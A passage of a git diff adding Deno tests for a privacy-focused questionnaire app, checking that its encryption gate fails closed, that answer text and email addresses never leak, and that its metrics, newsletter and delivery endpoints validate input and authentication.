-      assertStringIncludes(q1.url, '/api/store');
-
-      assertEquals(q0.question_index, 0);
-      assertEquals(q1.question_index, 1);
-      assertEquals(q0.question_text, GATE_QUESTIONS[0]);
-      assertEquals(q1.question_text, GATE_QUESTIONS[1]);
-
-      // Answers are trimmed but otherwise verbatim — the gate, not this app,
-      // is what turns them into ciphertext.
-      assertEquals(q0.answer, 'a hammock and no appointments');
-      assertEquals(q1.answer, 'being understood exactly');
-      assertEquals(q0.skipped, false);
-      assertEquals(q1.skipped, false);
-
-      // One opaque session token ties the pair together, and it is not the email.
-      assertEquals(q0.session_id, q1.session_id);
-      assert(!q0.session_id.includes('@'), 'the gate session id must not carry the address');
-    } finally {
-      gate.restore();
-      restoreEnv();
-    }
-  },
-});
-
-Deno.test({
-  name: 'gate-submit: an empty answer is still routed through the gate, marked skipped',
-  async fn() {
-    setupTestEnv();
-    const gate = stubGate();
-    try {
-      const post = await loadHandler();
-      const response = await post(
-        jsonRequest({ email: 'visitor@example.com', answer1: '', answer2: '   ' }),
-        {} as never,
-      );
-      await response.body?.cancel();
-
-      assertEquals(gate.calls.length, 2);
-      assertEquals(gate.calls[0].skipped, true);
-      assertEquals(gate.calls[1].skipped, true);
-      assertEquals(gate.calls[0].answer, '');
-      assertEquals(gate.calls[1].answer, '');
-    } finally {
-      gate.restore();
-      restoreEnv();
-    }
-  },
-});
-
-// ---------------------------------------------------------------------------
-// Fail-closed: a gate that cannot encrypt must abort the submission
-// ---------------------------------------------------------------------------
-
-Deno.test({
-  name: 'gate-submit: refuses the submission when the gate rejects an answer',
-  async fn() {
-    setupTestEnv();
-    // Question 0 encrypts; question 1 is refused.
-    const gate = stubGate((i) => new Response(null, { status: i === 1 ? 500 : 200 }));
-    try {
-      const post = await loadHandler();
-      const response = await post(
-        jsonRequest({ email: 'visitor@example.com', answer1: 'one', answer2: 'two' }),
-        {} as never,
-      );
-
-      assertEquals(response.status, 503, '503 is the encryption-failure branch, which returns before the INSERT');
-      assertStringIncludes((await response.json()).error, 'securely store');
-    } finally {
-      gate.restore();
-      restoreEnv();
-    }
-  },
-});
-
-Deno.test({
-  name: 'gate-submit: refuses the submission when the gate is unreachable',
-  async fn() {
-    setupTestEnv();
-    const gate = stubGate(() => null); // fetch rejects, as with a down gate
-    try {
-      const post = await loadHandler();
-      const response = await post(
-        jsonRequest({ email: 'visitor@example.com', answer1: 'one', answer2: 'two' }),
-        {} as never,
-      );
-
       assertEquals(response.status, 503);
-      await response.body?.cancel();
-      assertEquals(gate.calls.length, 1, 'the second answer must not be attempted after the first fails');
+      const body = await response.json();
+      assertStringIncludes(body.error, 'securely store');
+      assert(!JSON.stringify(body).includes('hammock'), 'the refusal must not echo answer text');
+      assert(!JSON.stringify(body).includes('visitor@'), 'the refusal must not echo the address');
+      assertEquals(gate.calls.length, 0, 'no answer text should leave the process when provisioning fails');
     } finally {
       gate.restore();
       restoreEnv();
@@ -294,7 +197,7 @@ Deno.test({
   name: 'gate-submit: the no-JS form path fails closed too, and leaks nothing in the redirect',
   async fn() {
     setupTestEnv();
-    const gate = stubGate(() => null);
+    const gate = stubGate();
     try {
       const post = await loadHandler();
       const response = await post(
@@ -310,6 +213,7 @@ Deno.test({
       // Zero-logging policy: the bounce URL carries a category, never the input.
       assert(!location.includes('@'), 'redirect must not carry the address');
       assert(!location.includes('one'), 'redirect must not carry answer text');
+      assertEquals(gate.calls.length, 0);
     } finally {
       gate.restore();
       restoreEnv();
@@ -336,9 +240,8 @@ Deno.test({
     assert(insert, 'expected an INSERT INTO fresh_gate_responses in the handler');
     assertStringIncludes(insert[0], 'q0_answer');
     assertStringIncludes(insert[0], 'q1_answer');
-    assertStringIncludes(insert[0], 'VALUES ($1, NULL, NULL)');
-
-    // $1 is the gate token and the only bound parameter — no answer, no email.
-    assertEquals(insert[0].match(/\$\d+/g)?.length, 1, 'only the gate token may be bound');
+    // Answers stay NULL. $2/$3 are the session pubkey and the encrypted address.
+    assertStringIncludes(insert[0], 'VALUES ($1, NULL, NULL, $2, $3)');
+    assertEquals(insert[0].match(/\$\d+/g)?.length, 3, 'token, pubkey, encrypted address — never an answer');
   },
 });
diff --git a/routes/api/gate_test.ts b/routes/api/gate_test.ts
new file mode 100644
index 000000000..b2f3e79f4
--- /dev/null
+++ b/routes/api/gate_test.ts
@@ -0,0 +1,282 @@
+/**
+ * POST /api/gate is the other door answers enter through.
+ *
+ * The landing form posts /api/gate-submit. The /gate page posts here, one
+ * question at a time. Both must fail closed: if the Rust gate cannot encrypt,
+ * this process must refuse rather than persist plaintext. These tests pin that
+ * contract the same way gate-submit_test.ts does.
+ *
+ * Hermetic: fetch is stubbed, and DATABASE_URL is unparseable so the first
+ * DB touch throws. 503 is the encryption-failure branch, which returns
+ * *before* the INSERT. A path that reached the database would surface as 500.
+ *
+ *   deno test --allow-net --allow-read --allow-env routes/api/gate_test.ts
+ */
+
+import { assert, assertEquals, assertStringIncludes } from '$std/assert/mod.ts';
+import { GATE_QUESTIONS } from '../../lib/gate_encrypt.ts';
+
+interface GateCall {
+  url: string;
+  headers: Headers;
+  session_id: string;
+  question_index: number;
+  question_text: string;
+  answer: string;
+  skipped: boolean;
+}
+
+const originalFetch = globalThis.fetch;
+const originalEnv = Deno.env.toObject();
+const TEST_ENV_KEYS = ['DATABASE_URL', 'GATE_API_KEY'] as const;
+
+function setupTestEnv() {
+  // Unparseable on purpose: resolveConfig() returns null, getPool() throws.
+  // A real PGHOST in the environment must not be picked up as a fallback.
+  Deno.env.set('DATABASE_URL', '::://not-a-database');
+  Deno.env.delete('GATE_API_KEY');
+}
+
+function restoreEnv() {
+  for (const [key, value] of Object.entries(originalEnv)) {
+    Deno.env.set(key, value);
+  }
+  for (const key of TEST_ENV_KEYS) {
+    if (!(key in originalEnv)) Deno.env.delete(key);
+  }
+}
+
+function stubGate(respond: (callIndex: number) => Response | null = () => new Response(null, { status: 200 })) {
+  const calls: GateCall[] = [];
+
+  globalThis.fetch = async (input: string | URL | Request, init?: RequestInit): Promise<Response> => {
+    const url = input instanceof Request ? input.url : String(input);
+    const headers = input instanceof Request ? input.headers : new Headers(init?.headers);
+    const raw = input instanceof Request ? await input.text() : String(init?.body ?? '');
+    const body = JSON.parse(raw);
+    calls.push({ url, headers, ...body });
+
+    const result = respond(calls.length - 1);
+    if (result === null) throw new TypeError('error sending request');
+    return result;
+  };
+
+  return {
+    calls,
+    restore() {
+      globalThis.fetch = originalFetch;
+    },
+  };
+}
+
+async function loadHandler() {
+  const { handler } = await import('./gate.ts');
+  return handler.POST!;
+}
+
+function jsonRequest(body: unknown): Request {
+  return new Request('http://localhost/api/gate', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: JSON.stringify(body),
+  });
+}
+
+const VALID = {
+  gateToken: 'gate_11111111222233334444555555555555',
+  questionIndex: 0,
+  answer: 'a hammock and no appointments',
+  skipped: false,
+};
+
+// ---------------------------------------------------------------------------
+// Input validation — nothing reaches the gate until the body is well formed
+// ---------------------------------------------------------------------------
+
+Deno.test({
+  name: 'gate: rejects unparseable JSON without calling the gate',
+  async fn() {
+    setupTestEnv();
+    const gate = stubGate();
+    try {
+      const post = await loadHandler();
+      const req = new Request('http://localhost/api/gate', {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        body: 'not valid json{',
+      });
+      const response = await post(req, {} as never);
+
+      assertEquals(response.status, 400);
+      assertEquals((await response.json()).error, 'Invalid JSON');
+      assertEquals(gate.calls.length, 0);
+    } finally {
+      gate.restore();
+      restoreEnv();
+    }
+  },
+});
+
+Deno.test({
+  name: 'gate: rejects a missing token or out-of-range index without calling the gate',
+  async fn() {
+    setupTestEnv();
+    const gate = stubGate();
+    try {
+      const post = await loadHandler();
+      const bad = [
+        { questionIndex: 0, answer: 'x', skipped: false },
+        { gateToken: '', questionIndex: 0, answer: 'x', skipped: false },
+        { ...VALID, questionIndex: 2 },
+        { ...VALID, questionIndex: -1 },
+        { ...VALID, skipped: 'yes' },
+      ];
+      for (const body of bad) {
+        const response = await post(jsonRequest(body), {} as never);
+        assertEquals(response.status, 400, `should reject ${JSON.stringify(body)}`);
+        await response.body?.cancel();
+      }
+      assertEquals(gate.calls.length, 0, 'no answer text should leave for an invalid submission');
+    } finally {
+      gate.restore();
+      restoreEnv();
+    }
+  },
+});
+
+// ---------------------------------------------------------------------------
+// Fail-closed: a gate that cannot encrypt must abort before any write
+// ---------------------------------------------------------------------------
+
+Deno.test({
+  name: 'gate: refuses when the gate is unreachable, and the error carries no answer',
+  async fn() {
+    setupTestEnv();
+    const gate = stubGate(() => null);
+    try {
+      const post = await loadHandler();
+      const response = await post(jsonRequest(VALID), {} as never);
+      const body = await response.json();
+
+      assertEquals(response.status, 503, '503 is the encryption-failure branch, before the INSERT');
+      assertStringIncludes(body.error, 'securely store');
+      assert(!JSON.stringify(body).includes(VALID.answer), 'answer must not reach the client');
+      assertEquals(gate.calls.length, 1);
+    } finally {
+      gate.restore();
+      restoreEnv();
+    }
+  },
+});
+
+Deno.test({
+  name: 'gate: refuses when the gate rejects the store',
+  async fn() {
+    setupTestEnv();
+    const CANARY = 'plaintext-echo-from-gate';
+    const gate = stubGate(() => new Response(CANARY, { status: 500 }));
+    try {
+      const post = await loadHandler();
+      const response = await post(jsonRequest({ ...VALID, answer: CANARY }), {} as never);
+      const body = await response.json();
+
+      assertEquals(response.status, 503);
+      assert(!JSON.stringify(body).includes(CANARY), 'gate response body must not reach the client');
+    } finally {
+      gate.restore();
+      restoreEnv();
+    }
+  },
+});
+
+// ---------------------------------------------------------------------------
+// The encryption contract: the answer goes to the gate, with no key header
+// ---------------------------------------------------------------------------
+
+Deno.test({
+  name: 'gate: a well-formed answer is posted to /api/store without X-Gate-Key',
+  async fn() {
+    setupTestEnv();
+    Deno.env.set('GATE_API_KEY', 'should-not-be-sent');
+    const gate = stubGate();
+    try {
+      const post = await loadHandler();
+      const response = await post(jsonRequest(VALID), {} as never);
+
+      // Encryption succeeded; the unconfigured database is what fails next.
+      assert(response.status !== 503, 'encryption step should have succeeded');
+      await response.body?.cancel();
+
+      assertEquals(gate.calls.length, 1);
+      const call = gate.calls[0];
+      assertStringIncludes(call.url, '/api/store');
+      assertEquals(call.headers.get('X-Gate-Key'), null);
+      assertEquals(call.session_id, VALID.gateToken);
+      assertEquals(call.question_index, 0);
+      assertEquals(call.question_text, GATE_QUESTIONS[0]);
+      assertEquals(call.answer, VALID.answer);
+      assertEquals(call.skipped, false);
+    } finally {
+      gate.restore();
+      restoreEnv();
+    }
+  },
+});
+
+Deno.test({
+  name: 'gate: a skipped answer is still routed through the gate as empty text',
+  async fn() {
+    setupTestEnv();
+    const gate = stubGate();
+    try {
+      const post = await loadHandler();
+      const response = await post(
+        jsonRequest({
+          gateToken: VALID.gateToken,
+          questionIndex: 1,
+          answer: 'should-be-dropped',
+          skipped: true,
+        }),
+        {} as never,
+      );
+      await response.body?.cancel();
+
+      assertEquals(gate.calls.length, 1);
+      assertEquals(gate.calls[0].question_index, 1);
+      assertEquals(gate.calls[0].question_text, GATE_QUESTIONS[1]);
+      assertEquals(gate.calls[0].skipped, true);
+      assertEquals(gate.calls[0].answer, '');
+    } finally {
+      gate.restore();
+      restoreEnv();
+    }
+  },
+});
+
+// ---------------------------------------------------------------------------
+// Schema guardrail: the row that *is* written carries no answer text
+// ---------------------------------------------------------------------------
+
+Deno.test({
+  name: 'gate: the fresh_gate_responses INSERT binds NULL for both answer columns',
+  async fn() {
+    const source = await Deno.readTextFile(new URL('./gate.ts', import.meta.url));
+    const insert = source.match(/INSERT INTO fresh_gate_responses[\s\S]*?VALUES\s*\([^)]*\)/);
+
+    assert(insert, 'expected an INSERT INTO fresh_gate_responses in the handler');
+    assertStringIncludes(insert[0], 'q0_answer');
+    assertStringIncludes(insert[0], 'q1_answer');
+    assertStringIncludes(insert[0], 'VALUES ($1, NULL, NULL)');
+    assertEquals(insert[0].match(/\$\d+/g)?.length, 1, 'only the gate token may be bound');
+  },
+});
+
+Deno.test({
+  name: 'the /gate page posts here, not a third client',
+  async fn() {
+    const source = await Deno.readTextFile(new URL('../gate.tsx', import.meta.url));
+    assert(source.includes("new URL('/api/gate', req.url)"), '/gate must post to this fail-closed endpoint');
+    assert(!source.includes('gate-client'), 'the retired client must not come back');
+    assert(!source.includes('storeEncryptedAnswer'), '/gate must go through the HTTP handler, not a private import');
+  },
+});
diff --git a/routes/api/health_test.ts b/routes/api/health_test.ts
new file mode 100644
index 000000000..89e14c029
--- /dev/null
+++ b/routes/api/health_test.ts
@@ -0,0 +1,30 @@
+/**
+ * Health check fail-closed when the database is not configured.
+ *
+ *   deno test --allow-env --allow-read routes/api/health_test.ts
+ */
+
+import { assertEquals } from '$std/assert/mod.ts';
+import { handler } from './health.ts';
+
+Deno.test('health - an unconfigured database is degraded, not a false ok', async () => {
+  const saved = {
+    DATABASE_URL: Deno.env.get('DATABASE_URL'),
+    PGHOST: Deno.env.get('PGHOST'),
+    PGDATABASE: Deno.env.get('PGDATABASE'),
+    PGUSER: Deno.env.get('PGUSER'),
+    PGPASSWORD: Deno.env.get('PGPASSWORD'),
+  };
+  for (const key of Object.keys(saved)) Deno.env.delete(key);
+  try {
+    const res = await handler.GET!(new Request('http://localhost/api/health'), {} as never);
+    assertEquals(res.status, 503);
+    const body = await res.json();
+    assertEquals(body.status, 'degraded');
+  } finally {
+    for (const [key, value] of Object.entries(saved)) {
+      if (value === undefined) Deno.env.delete(key);
+      else Deno.env.set(key, value);
+    }
+  }
+});
diff --git a/routes/api/metrics/increment_test.ts b/routes/api/metrics/increment_test.ts
new file mode 100644
index 000000000..b62b630aa
--- /dev/null
+++ b/routes/api/metrics/increment_test.ts
@@ -0,0 +1,93 @@
+/**
+ * POST /api/metrics/increment is a public beacon. Anyone can hit it.
+ *
+ * The allowlist is the whole of the defence: a name that is not listed must
+ * not move a counter, and the response must look identical either way so the
+ * list cannot be walked by status code. These tests pin that, because a
+ * widened or leaky allowlist is how a stranger poisons the funnel numbers
+ * the daily report treats as truth.
+ *
+ *   deno test --allow-env --allow-read routes/api/metrics/increment_test.ts
+ */
+
+import { assert, assertEquals } from '$std/assert/mod.ts';
+import { getCurrentHourMetrics } from '../../../lib/metrics.ts';
+import { handler } from './increment.ts';
+
+function post(body: unknown): Request {
+  return new Request('http://localhost/api/metrics/increment', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: typeof body === 'string' ? body : JSON.stringify(body),
+  });
+}
+
+async function postMetric(body: unknown): Promise<Response> {
+  return await handler.POST!(post(body), {} as never);
+}
+
+function countOf(name: string): number {
+  return getCurrentHourMetrics()[name] ?? 0;
+}
+
+Deno.test('an allowlisted metric is counted', async () => {
+  const before = countOf('engagement.return_visit');
+  const res = await postMetric({ metric: 'engagement.return_visit' });
+  assertEquals(res.status, 200);
+  assertEquals(res.headers.get('cache-control'), 'no-store');
+  assertEquals(await res.json(), { ok: true });
+  assertEquals(countOf('engagement.return_visit'), before + 1);
+});
+
+Deno.test('a name that is not on the allowlist is a silent no-op', async () => {
+  const name = 'not.a.client.metric';
+  const before = countOf(name);
+  const res = await postMetric({ metric: name });
+  assertEquals(res.status, 200);
+  assertEquals(await res.json(), { ok: true });
+  assertEquals(countOf(name), before, 'a stranger must not be able to mint a counter');
+});
+
+Deno.test('a server-only funnel name cannot be incremented from the client', async () => {
+  // q1_answered is a real metric — written by the gate when someone answers.
+  // It is deliberately absent from the beacon allowlist: otherwise anyone
+  // could invent a conversion.
+  const before = countOf('funnel.gate.q1_answered');
+  const res = await postMetric({ metric: 'funnel.gate.q1_answered' });
+  assertEquals(res.status, 200);
+  assertEquals(await res.json(), { ok: true });
+  assertEquals(countOf('funnel.gate.q1_answered'), before);
+});
+
+Deno.test('allowed and disallowed responses are indistinguishable', async () => {
+  const allowed = await postMetric({ metric: 'funnel.gate.viewed' });
+  const denied = await postMetric({ metric: 'errors.5xx' });
+  const a = { status: allowed.status, body: await allowed.json(), cache: allowed.headers.get('cache-control') };
+  const b = { status: denied.status, body: await denied.json(), cache: denied.headers.get('cache-control') };
+  assertEquals(a, b);
+  assertEquals(a, { status: 200, body: { ok: true }, cache: 'no-store' });
+});
+
+Deno.test('unparseable JSON is 200, not an error that leaks the parser', async () => {
+  const res = await postMetric('not json{');
+  assertEquals(res.status, 200);
+  assertEquals(await res.json(), { ok: true });
+});
+
+Deno.test('a non-string or missing metric is ignored', async () => {
+  const before = countOf('funnel.completion.viewed');
+  for (const body of [{}, { metric: '' }, { metric: 12 }, { metric: ['funnel.completion.viewed'] }]) {
+    const res = await postMetric(body);
+    assertEquals(res.status, 200);
+    assertEquals(await res.json(), { ok: true });
+  }
+  assertEquals(countOf('funnel.completion.viewed'), before);
+});
+
+Deno.test('the allowlist is exact names, not a prefix', async () => {
+  const source = await Deno.readTextFile(new URL('./increment.ts', import.meta.url));
+  assert(
+    source.includes('ALLOWED_CLIENT_METRICS.has(metric)'),
+    'membership must be exact; startsWith would let funnel.gate.viewed.extra through',
+  );
+});
diff --git a/routes/api/newsletter/subscribe_test.ts b/routes/api/newsletter/subscribe_test.ts
new file mode 100644
index 000000000..5fed3b247
--- /dev/null
+++ b/routes/api/newsletter/subscribe_test.ts
@@ -0,0 +1,60 @@
+/**
+ * Newsletter HTTP gates that must fail before the database is touched.
+ *
+ *   deno test --allow-env --allow-read routes/api/newsletter/subscribe_test.ts
+ */
+
+import { assertEquals } from '$std/assert/mod.ts';
+import { handler as subscribe } from './subscribe.ts';
+import { handler as confirm } from './confirm.ts';
+import { handler as unsubscribe } from './unsubscribe.ts';
+
+function jsonPost(body: unknown): Request {
+  return new Request('http://localhost/api/newsletter/subscribe', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: typeof body === 'string' ? body : JSON.stringify(body),
+  });
+}
+
+Deno.test('subscribe - invalid JSON is 400', async () => {
+  const res = await subscribe.POST!(jsonPost('not json{'), {} as never);
+  assertEquals(res.status, 400);
+  assertEquals((await res.json()).error, 'Invalid JSON body');
+});
+
+Deno.test('subscribe - missing email is 400', async () => {
+  const res = await subscribe.POST!(jsonPost({}), {} as never);
+  assertEquals(res.status, 400);
+  assertEquals((await res.json()).error, 'Email required');
+});
+
+Deno.test('subscribe - a malformed address never reaches storage', async () => {
+  const res = await subscribe.POST!(jsonPost({ email: 'not-an-email' }), {} as never);
+  assertEquals(res.status, 400);
+  assertEquals((await res.json()).error, 'Please use a valid email address');
+});
+
+Deno.test('subscribe - a suspicious Gmail local-part is rejected', async () => {
+  const res = await subscribe.POST!(jsonPost({ email: 'a.b.c.d.e@gmail.com' }), {} as never);
+  assertEquals(res.status, 400);
+  assertEquals((await res.json()).error, 'Please use a valid email address');
+});
+
+Deno.test('confirm - missing token is 400, not an enumeration oracle', async () => {
+  const req = new Request('http://localhost/api/newsletter/confirm', {
+    headers: { Accept: 'application/json' },
+  });
+  const res = await confirm.GET!(req, {} as never);
+  assertEquals(res.status, 400);
+  assertEquals((await res.json()).error, 'Missing confirmation token');
+});
+
+Deno.test('unsubscribe - missing token is 400', async () => {
+  const req = new Request('http://localhost/api/newsletter/unsubscribe', {
+    headers: { Accept: 'application/json' },
+  });
+  const res = await unsubscribe.GET!(req, {} as never);
+  assertEquals(res.status, 400);
+  assertEquals((await res.json()).error, 'Missing unsubscribe token');
+});
diff --git a/routes/api/questions/answer_test.ts b/routes/api/questions/answer_test.ts
new file mode 100644
index 000000000..1301c084d
--- /dev/null
+++ b/routes/api/questions/answer_test.ts
@@ -0,0 +1,79 @@
+/**
+ * Questionnaire answer recipients, and the auth gates that must fail before
+ * any answer text leaves the process.
+ *
+ * recipientsForSession lived in tests/answer_recipients_test.ts; CI cannot
+ * run that directory.
+ *
+ *   deno test --allow-env --allow-read routes/api/questions/answer_test.ts
+ */
+
+import { assert, assertEquals } from '$std/assert/mod.ts';
+import { handler, recipientsForSession } from './answer.ts';
+
+const breakglass = () => 'age1breakglass';
+
+Deno.test('recipientsForSession - pairs the stored pubkey with break-glass', () => {
+  assertEquals(recipientsForSession('age1session', breakglass), ['age1session', 'age1breakglass']);
+});
+
+// A NULL pubkey is a pre-existing session, not an error. Every questionnaire in
+// flight when this deploys has one, and throwing would break those people
+// mid-run at whichever question they happened to be on.
+Deno.test('recipientsForSession - a legacy session falls back to the gate default', () => {
+  assertEquals(recipientsForSession(null, breakglass), []);
+});
+
+Deno.test('recipientsForSession - never returns break-glass alone', () => {
+  // Encrypting to break-glass only would produce a row the respondent could
+  // never receive and only an offline ceremony could open.
+  assertEquals(recipientsForSession(null, breakglass).includes('age1breakglass'), false);
+});
+
+// The break-glass recipient is read from the environment and THROWS when it is
+// unset. Taking it as a thunk keeps that throw on the path that actually needs
+// the key: a legacy session must not fail because of a variable it never uses.
+Deno.test('recipientsForSession - does not read break-glass for a legacy session', () => {
+  let read = false;
+  const recipients = recipientsForSession(null, () => {
+    read = true;
+    return 'age1breakglass';
+  });
+
+  assertEquals(recipients, []);
+  assert(!read, 'break-glass must not be consulted when there is no session key');
+});
+
+Deno.test('recipientsForSession - propagates a break-glass failure when it IS needed', () => {
+  let threw = false;
+  try {
+    recipientsForSession('age1session', () => {
+      throw new Error('BREAKGLASS_AGE_RECIPIENT not configured');
+    });
+  } catch {
+    threw = true;
+  }
+  // Fail closed: a session key with no break-glass would be unrecoverable the
+  // moment that key is shredded, so refusing is correct.
+  assert(threw, 'a missing break-glass must not silently degrade to one recipient');
+});
+
+function post(headers: Record<string, string>, body?: unknown): Request {
+  return new Request('http://localhost/api/questions/answer', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', ...headers },
+    body: body === undefined ? undefined : JSON.stringify(body),
+  });
+}
+
+Deno.test('answer POST - missing Authorization never reaches the gate', async () => {
+  const response = await handler.POST!(post({ 'X-Resume-Token': 'opaque' }), {} as never);
+  assertEquals(response.status, 401);
+  assertEquals((await response.json()).error, 'Missing or invalid Authorization header');
+});
+
+Deno.test('answer POST - missing resume token never reaches the gate', async () => {
+  const response = await handler.POST!(post({ Authorization: 'Bearer not.a.jwt' }), {} as never);
+  assertEquals(response.status, 401);
+  assertEquals((await response.json()).error, 'Missing resume token');
+});
diff --git a/routes/api/questions/next_test.ts b/routes/api/questions/next_test.ts
new file mode 100644
index 000000000..ec862f852
--- /dev/null
+++ b/routes/api/questions/next_test.ts
@@ -0,0 +1,27 @@
+/**
+ * Next-question auth: resume capability lives in a header or cookie, never
+ * in a query string. A session_id or email in the URL would be the exact
+ * privacy break the opaque-token design exists to prevent.
+ *
+ *   deno test --allow-env --allow-read routes/api/questions/next_test.ts
+ */
+
+import { assertEquals } from '$std/assert/mod.ts';
+import { handler } from './next.ts';
+
+Deno.test('next GET - refuses a request with no resume token', async () => {
+  const req = new Request('http://localhost/api/questions/next');
+  const response = await handler.GET!(req, {} as never);
+  assertEquals(response.status, 401);
+  assertEquals((await response.json()).error, 'X-Resume-Token header or resume_token cookie required');
+});
+
+Deno.test('next GET - a session_id query parameter is not a resume token', async () => {
+  const req = new Request(
+    'http://localhost/api/questions/next?session_id=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&email=person@example.com',
+  );
+  const response = await handler.GET!(req, {} as never);
+  assertEquals(response.status, 401);
+  const body = await response.json();
+  assertEquals(body.error, 'X-Resume-Token header or resume_token cookie required');
+});
diff --git a/routes/api/responses/deliver_test.ts b/routes/api/responses/deliver_test.ts
new file mode 100644
index 000000000..647581cf5
--- /dev/null
+++ b/routes/api/responses/deliver_test.ts
@@ -0,0 +1,143 @@
+/**
+ * Delivery consent: what a respondent asks for, and the bundle the key box
+ * receives. These contracts lived in tests/deliver_bundle_test.ts, which CI
+ * cannot run (that directory's type errors fail before any test executes).
+ *
+ * Hermetic: the POST cases below return before any database touch.
+ *
+ *   deno test --allow-env --allow-read routes/api/responses/deliver_test.ts
+ */
+
+import { assert, assertEquals, assertThrows } from '$std/assert/mod.ts';
+import { buildBundle, CANONICAL_COUNT, consentFrom, handler } from './deliver.ts';
+
+const rows = [
+  { question_index: 7, question_text: 'q7', ciphertext: 'ct7', skipped: false },
+  { question_index: 0, question_text: 'q0', ciphertext: 'ct0', skipped: false },
+  { question_index: 3, question_text: 'q3', ciphertext: 'ct3', skipped: true },
+];
+
+Deno.test('buildBundle - orders answers canonically, not chronologically', () => {
+  const bundle = buildBundle('sess-1', rows, 'enc-email', null);
+  assertEquals(bundle.answers.length, CANONICAL_COUNT);
+  assertEquals(
+    bundle.answers.map((a) => a.questionIndex),
+    Array.from({ length: CANONICAL_COUNT }, (_, i) => i),
+  );
+});
+
+Deno.test('buildBundle - preserves skipped markers', () => {
+  const bundle = buildBundle('sess-1', rows, 'enc-email', null);
+  assertEquals(bundle.answers.find((a) => a.questionIndex === 3)?.skipped, true);
+});
+
+Deno.test('buildBundle - carries the real ciphertext for answered questions', () => {
+  const bundle = buildBundle('sess-1', rows, 'enc-email', null);
+  assertEquals(bundle.answers.find((a) => a.questionIndex === 7)?.ciphertext, 'ct7');
+});
+
+// A short document would look complete to the respondent, who cannot be
+// expected to remember which of 35 questions they were asked.
+Deno.test('buildBundle - fills an unreached question rather than shortening the document', () => {
+  const bundle = buildBundle('sess-1', rows, 'enc-email', null);
+  const missing = bundle.answers.find((a) => a.questionIndex === 20);
+  assertEquals(missing?.skipped, true);
+  assertEquals(missing?.ciphertext, '');
+  assert((missing?.questionText ?? '').length > 0, 'a synthesized entry still needs its question text');
+});
+
+Deno.test('buildBundle - refuses duplicate indices', () => {
+  const dupes = [...rows, { question_index: 7, question_text: 'q7', ciphertext: 'other', skipped: false }];
+  assertThrows(() => buildBundle('sess-1', dupes, 'enc-email', null), Error, 'duplicate answer');
+});
+
+// An index outside 0..34 means the row does not belong to this questionnaire.
+// Silently dropping it would hide a real inconsistency.
+Deno.test('buildBundle - refuses an out-of-range index', () => {
+  assertThrows(
+    () =>
+      buildBundle('sess-1', [{ question_index: 99, question_text: 'q', ciphertext: 'c', skipped: false }], 'e', null),
+    Error,
+    'out of range',
+  );
+});
+
+Deno.test('buildBundle - carries the encrypted password through untouched', () => {
+  const bundle = buildBundle('sess-1', rows, 'enc-email', 'AGE-ARMORED-PW');
+  assertEquals(bundle.encryptedPassword, 'AGE-ARMORED-PW');
+});
+
+Deno.test('buildBundle - no password means null, never an empty string', () => {
+  // The key box branches on null to decide whether to protect the PDF; '' would
+  // be truthy-adjacent and invites a "protect with empty password" bug.
+  assertEquals(buildBundle('sess-1', rows, 'enc-email', null).encryptedPassword, null);
+});
+
+Deno.test('consentFrom - reads an explicit yes and no', () => {
+  assertEquals(consentFrom({ consent: 'yes' }), 'yes');
+  assertEquals(consentFrom({ consent: 'no' }), 'no');
+});
+
+Deno.test('consentFrom - anything else is treated as no', () => {
+  // Fail closed: an unrecognised value must not cause a copy of someone's
+  // intimate answers to be mailed on a guess.
+  assertEquals(consentFrom({}), 'no');
+  assertEquals(consentFrom({ consent: '' }), 'no');
+  assertEquals(consentFrom({ consent: 'YES please' }), 'no');
+  assertEquals(consentFrom({ consent: ['yes', 'no'] as unknown as string }), 'no');
+});
+
+Deno.test('consentFrom - accepts the exact casing the form submits', () => {
+  assertEquals(consentFrom({ consent: 'Yes' }), 'no', 'only the literal form value counts');
+});
+
+function jsonPost(body: unknown): Request {
+  return new Request('http://localhost/api/responses/deliver', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: JSON.stringify(body),
+  });
+}
+
+function formPost(fields: Record<string, string>): Request {
+  const form = new URLSearchParams(fields);
+  return new Request('http://localhost/api/responses/deliver', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+    body: form.toString(),
+  });
+}
+
+Deno.test('deliver POST - a declined copy never looks up a session', async () => {
+  const post = handler.POST!;
+  const response = await post(jsonPost({ consent: 'no', resume_token: 'anything' }), {} as never);
+  assertEquals(response.status, 200);
+  assertEquals((await response.json()).message, 'No copy will be sent.');
+});
+
+Deno.test('deliver POST - the no-JS form path declines with a redirect, not a mailed copy', async () => {
+  const post = handler.POST!;
+  const response = await post(formPost({ consent: 'no' }), {} as never);
+  await response.body?.cancel();
+  assertEquals(response.status, 303);
+  assertEquals(response.headers.get('Location'), '/completion?copy=declined');
+});
+
+Deno.test('deliver POST - yes without a session is a 400, not a silent send', async () => {
+  const post = handler.POST!;
+  const response = await post(jsonPost({ consent: 'yes' }), {} as never);
+  assertEquals(response.status, 400);
+  assertEquals((await response.json()).message, 'Missing session');
+});
+
+Deno.test('deliver POST - an unparseable body is rejected', async () => {
+  const post = handler.POST!;
+  const req = new Request('http://localhost/api/responses/deliver', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: 'not valid json{',
+  });
+  const response = await post(req, {} as never);
+  assertEquals(response.status, 400);
+  await response.body?.cancel();
+});
diff --git a/routes/api/responses/delivered_test.ts b/routes/api/responses/delivered_test.ts
new file mode 100644
index 000000000..924bfa09a
--- /dev/null
+++ b/routes/api/responses/delivered_test.ts
@@ -0,0 +1,202 @@
+/**
+ * Delivery-confirmation callback.
+ *
+ * POST /api/responses/delivered is the only writer of pdf_delivered_at. A
+ * wrong-open (unset token treated as "let anyone stamp") or a wrong-closed
+ * (re-stamp that moves the shred clock) is how a private key stays alive or a
+ * row gets marked delivered for a session that never existed.
+ *
+ * Hermetic: DATABASE_URL is unparseable so the first DB touch throws. The
+ * auth and validation branches return before that, so 401/400/503 here are
+ * evidence that nothing was written. 500 on a well-formed request is evidence
+ * the handler did not invent a success.
+ *
+ *   deno test --allow-env --allow-read --allow-net routes/api/responses/delivered_test.ts
+ */
+
